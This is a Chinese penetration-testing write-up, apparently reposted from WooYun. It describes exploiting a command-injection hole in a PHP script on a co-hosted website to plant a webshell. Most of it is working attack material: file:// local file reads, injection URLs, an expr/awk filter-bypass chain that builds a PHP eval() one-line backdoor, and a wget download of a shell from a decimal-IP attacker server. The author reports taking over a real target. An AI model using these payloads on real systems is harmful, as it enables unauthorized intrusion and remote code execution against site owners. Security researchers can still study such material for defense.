<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1015

            0x00 背景


            發現一網站存在漏洞,遂進行測試:

            這是一個獲取網頁源碼的cgi腳本http://xxx.com/cgi-bin/printfile.cgi?file=http://www.baidu.com?習慣性的,在file后面測試 ../../../../../包含或者讀取漏洞均無效.有意思的是使用File協議(本地文件傳輸協議)成功讀取目錄以及文件。

            2014030416005735884.jpg

            目標環境是Red Hat6.5+Apache ,接下來的工作翻翻敏感文件,找找配置文件收集信息定位當前站點路徑.

            2014030416074032436.jpg

            0x01 發現突破點


            經過一段搬磚的時間查看,當前站點沒有什么可以利用的,同服站點的腳本語言主要以cgi ?perl ?為主,少量php .一貫地毯式搜索可以利用的代碼,期間找到不少有執行權限的cgi腳本,嘗試在瀏覽器中訪問,但是都提示 500內部錯誤,這樣即使成功運行了也無法得知代碼運行狀態,只能放棄.又經過一段搬磚的時間,在同服站點的php文件中終于讓我找到了一行有意思的php腳本代碼.

            #!php
            exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');
            

            exec() 執行外部程序,只要能控制 PICNAME='.$file.' 中的變量$file,那就有可能執行系統命令.果斷保存代碼本地測試.

            代碼分析如下:

            #!php
            <html>
            <head><title>Content</title>
            
            <link rel="stylesheet" type="text/css" href="style.css"></link>
            <link rel="stylesheet" type="text/css" href="styles.css"></link>
            <script type="text/javascript" src="common.js"></script><script type="text/javascript" src="css.js"></script><script type="text/javascript" src="standardista-table-sorting.js"></script>
            <script type="text/javascript" src="toggle.js">
            </script>
            <script type="text/javascript">
            function updateAppletTarget(q) {
              parent.applet.updateAppletTarget(q);
            }
            </script>
            </head>
            <body>
            <div id="change">
            <?php 
            
            
            $id="";
            if (isset($_POST["id"])) $id=$_POST["id"];         // GET或POST接收輸入id
            else if  (isset($_GET["id"])) $id=$_GET["id"];
            
            
            if (strlen($id)>0) {
            
            // PUBLIC_ID_SEPARATOR
            //$id = ereg_replace(":","|",$id);
            
            #$id="tesdts.fdkjfls|fjksldaf.fdsfaa";
            #echo $id;
            
            #note: equivalent function is used in fi.jyu.mit.utils.FileLib.java
            #$file = ereg_replace("\\||\\.","_",$id);
            $file = ereg_replace("\\||\\:|\\.","_",$id);                            //  ereg_replace -- 如果id傳入數據中包含\|:.,_,則ereg_replace正則進入下一個判斷。
                                                                                    // string ereg_replace ( string pattern, string replacement, string string )
            
            #echo $file;
              if (strpos($file,'\\') !== false                                       // \\strpos檢索$file中的字符竄是否包含 \\ 則為false
                  or strpos($file,'/') !== false
                  or strpos($file,':') !== false) die('Not current directory');      // 提示 Not current directory(非當前目錄)
            
            
            
            // refresh html file and pics
            #    exec('make -f Makefile -C .. PICNAME='.$file.' htmlcheck');
            #   exec('make PICNAME='.$file.' htmlcheck');
            # die('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');
               exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');  # $file往上看
            #exec('make PICNAME='.$file.' dot2png dot2png_large dot2pdf');
            
            
            if ((!file_exists("html/".$file.".html")) || (filesize("html/".$file.".html")==0)) {
                echo "p?ivitet??n "."html/".$file.".html";
            ?>
            <script type="text/javascript">
             updateAppletTarget('<?php echo $id ?>');
            </script>
            <?php  }
            else readfile("html/".$file.".html");  
            
            }
            
            ?>
            <!-- disabled temporirarily 
            <a href="#" onclick="updateAppletTarget('edit');return false;">Muokkaa</a>
            -->
            </div>
            </body>
            </html>
            

            下圖是本地測試,被過濾的字符:

            #!php
             $file = ereg_replace("\\||\\:|\\.","_",$id);   
            

            這里的| 以及.都被替換成_(下橫)出現 // \\ 路徑符號則提示Not current directory(非當前目錄)

            2014030416065776275.jpg

            #!php
            die('make -i -f skriptit/Makefile DOT\_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png\_large dot2pdf'); 
            

            die 打印結果看看:

            2014030416114563586.png

            打印結果可以得知

            aaaaa, '`
            

            都能帶入而且;(分號)也成功執行那么就有意思了,構造語句就是:

            http://localhost/test.php?id=aaaa;echo test >aaa
            

            成功寫入當前目錄.

            2014030416123189624.png

            當然,還可以執行命令,也同樣把命令執行結果寫入文件得到回顯.

            http://localhost/test.php?id=aaaa;id >aaa; 
            

            注意末尾多加了一個;(分號)截斷了后面多余的東西.

            2014030416131320282.png

            接下就是寫shell,理清一下思路:

            #!php
            $file = ereg_replace("\\||\\:|\\.","_",$id); 
            

            | 以及.都被替換成_(下橫),出現 // \\ 路徑符號則提示Not current directory(非當前目錄),寫shell 需要.(點)加后綴 ,如果直接寫文件

            http://localhost/test.php?id=aaaa;echo <?php eval($_REQUEST[v]);?> >zzz.php
            

            那么得到的文件名是 zzz_php,這里也不能用\ 來轉義.

            2014030416170030636.png

            小伙伴們可能會說,媽蛋,不是還能下載文件嗎. 代碼這樣寫

            http://localhost/test.php?id=aaaa;wget www.ccav.com/shell.php
            

            那么得到的結果是:

            Not current directory
            

            因為包含了.(點)跟路徑符號.

            0x02 繞過方式


            到這得考慮如何繞過過濾分別使用兩個方法得shell.

            1如何echo 寫shell 
            2.如何通過下載得shell 
            

            第一種方法:

            如何echo 寫shell,以寫一句話PHP木馬為例,主要解決的是.(點)的問題,$(美元符號),以及>(管道符號)和括號.我這里使用的方法是”借花獻佛”

            echo完整的語句如下:

            #!php
            echo <?php eval($_REQUEST[v]);?> >test.php
            

            既然不能生成那就 ”借”,直接借現有文件中的字符.可以從變量中借或者從現有的文件中借.用到的方法是linux Shell expr的方法.

            如下圖,打印了test.php文件中第一行的 6個字符,要做的就是把需要的字符都從文件中借過來。(示例的test.php 就是漏洞文件本身)

            2014030416213050474.png

            接下來就是體力活了,要把一句話木馬中所有被過濾的字符都依次借過來. 要注意的是,讀取字符的間隔貌似不能包含空格,否則expr會判斷列數錯誤.

            [email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 5 1`
            ?"?    
            [email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 1 1`
            ?$
            [email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 1 1`
            ?<
            [email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 6 1`
            >
            [email protected]:/var/www# expr substr $(awk NR==11 test.php) 35 1?    
            )?    
            [email protected]:/var/www# expr substr $(awk NR==11 test.php) 33 1?    
            (
            [email protected]:/var/www# expr substr $(awk NR==20 test.php) 7 1?    
            ;
            [email protected]:/var/www# expr substr $(awk NR==17 test.php) 2 1?    
            ?
            

            最后總算湊夠數了,完整的語句是:

            echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php? 
            

            在shell 下成功執行

            2014030416261134841.png

            到這里馬上就能拿到shell了,用不了多久,我就會升職加薪,當上總經理,出任CEO,迎娶白富美,走上人生巔峰。想想還有點小激動呢,嘿嘿~~?

            2014030416275658281.jpg

            我擦,這怎么玩......在測試環境上執行出現的結果,萬萬沒想到最終還是有.(點),因為讀test.php文件,還是需要帶后綴. 你妹啊.....

            2014030416233033879.png

            又回到點的問題.這次直接ls >xxx 把當前目錄下的文件(目錄文件帶了后綴)都寫入xxx,然后在從xxx 中借.(點),替換原先的語句。

            http://localhost/test.php?id=aaaa;ls >xxx;
            

            以我本地環境為例,xxx文件的第1行第2列(2.php)的字符就是.(點)

            2014030416293419945.png

            將原來語句中的test.php的.(點) 都替換成?

            `expr substr $(awk NR==1 xxx)  2 1`
            

            原語句:

            echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php
            

            改為:

            echo `expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx)  2 1`php) 1 1`?php eval`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx)  2 1`php) 33 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx)  2 1`php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx)  2 1`php) 35 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx)  2 1`php) 7 1``expr substr $(awk NR==17 test`expr substr $(awk NR==1 xxx)  2 1`php) 2 1``expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx)  2 1`php) 6 1` >2`expr substr $(awk NR==30 test`expr substr $(awk NR==1 xxx)  2 1`php) 13 1`php
            

            執行出現了語法錯誤.

            2014030416323382082.png

            換一個思路,原來繞了個大彎路.直接cat test.php > xxoo 就解決了. 不過這樣還是過濾成了test_php,只能先從 xxx把點借過來.

            語句:

            cat test`expr substr $(awk NR==2 xxx) 6 1`php >xxoo
            

            這樣把test.php寫入xxoo文件就ok了

            最后把test.php全部改成xxoo就解決了點的限制

            原語句:

            echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php
            

            修改后:

            echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php
            

            測試環境成功執行:

            http://localhost/test.php?id=anything;echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;
            

            2014030416381681081.png

            最終成功寫入完整的php一句話木馬.拿下目標webshell 權限.

            2014030416360451579.png

            總結步驟:

            1)?

            ls >xxx ,cat xxx    //先找點,得到.的行列數。
            

            2)

            Cat  test.`expr substr $(awk NR==1 xxx)  2 1`php  > xxoo  //將test.php 寫入xxoo文件,方便后面讀取。
            

            3)

            echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;     //所需的字符從替換成xxoo文件中的字符。
            

            第二種方法:

            通過下載文件得到shell,這種方法要省事很多,要解決的關鍵還是.(點),還有//(路徑符).(點)的解決可以用數字IP的方法繞過.

            需要條件:

            外網能用ip訪問的webserver,以及目標存在wget程序和當前目錄有寫文件權限。 
            

            在線轉換鏈接:

            http://tool.chinaz.com/ip/?IP=127.0.0.1
            

            2014030416412310827.png

            以本機為例(ubuntu +apache2:)

            1.先轉換得到數字ip ?127.0.0.1 = 2130706433 
            2.將外網的服務器的php解析去掉,在apache配置文件中將下面參數注釋 
            #LoadModule php5_module /usr/lib/apache2/modules/libphp5.so 
            3.在根目錄創建index.html文件,內容為`<a href="shell.php">test</a>`,創建shell.php 內容是馬. 
            4.使用wget 整站下載功能下載(wget自動沿著href 指向爬到shell.php并下載) 
            Ps:貌似用301跳轉也可以,不過我沒有測試 
            

            參數: wget -r 2130706433 ?

            效果如下圖,下載后以目錄結構的方式保存文件得到shell。

            2014030416425192388.png

            0x03 最后


            歡迎大家指正錯誤或紕漏,以此文為例,希望大家分享一些linux shell下繞過字符過濾寫shell的方法,

            最后感謝月哥悉心的指導。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线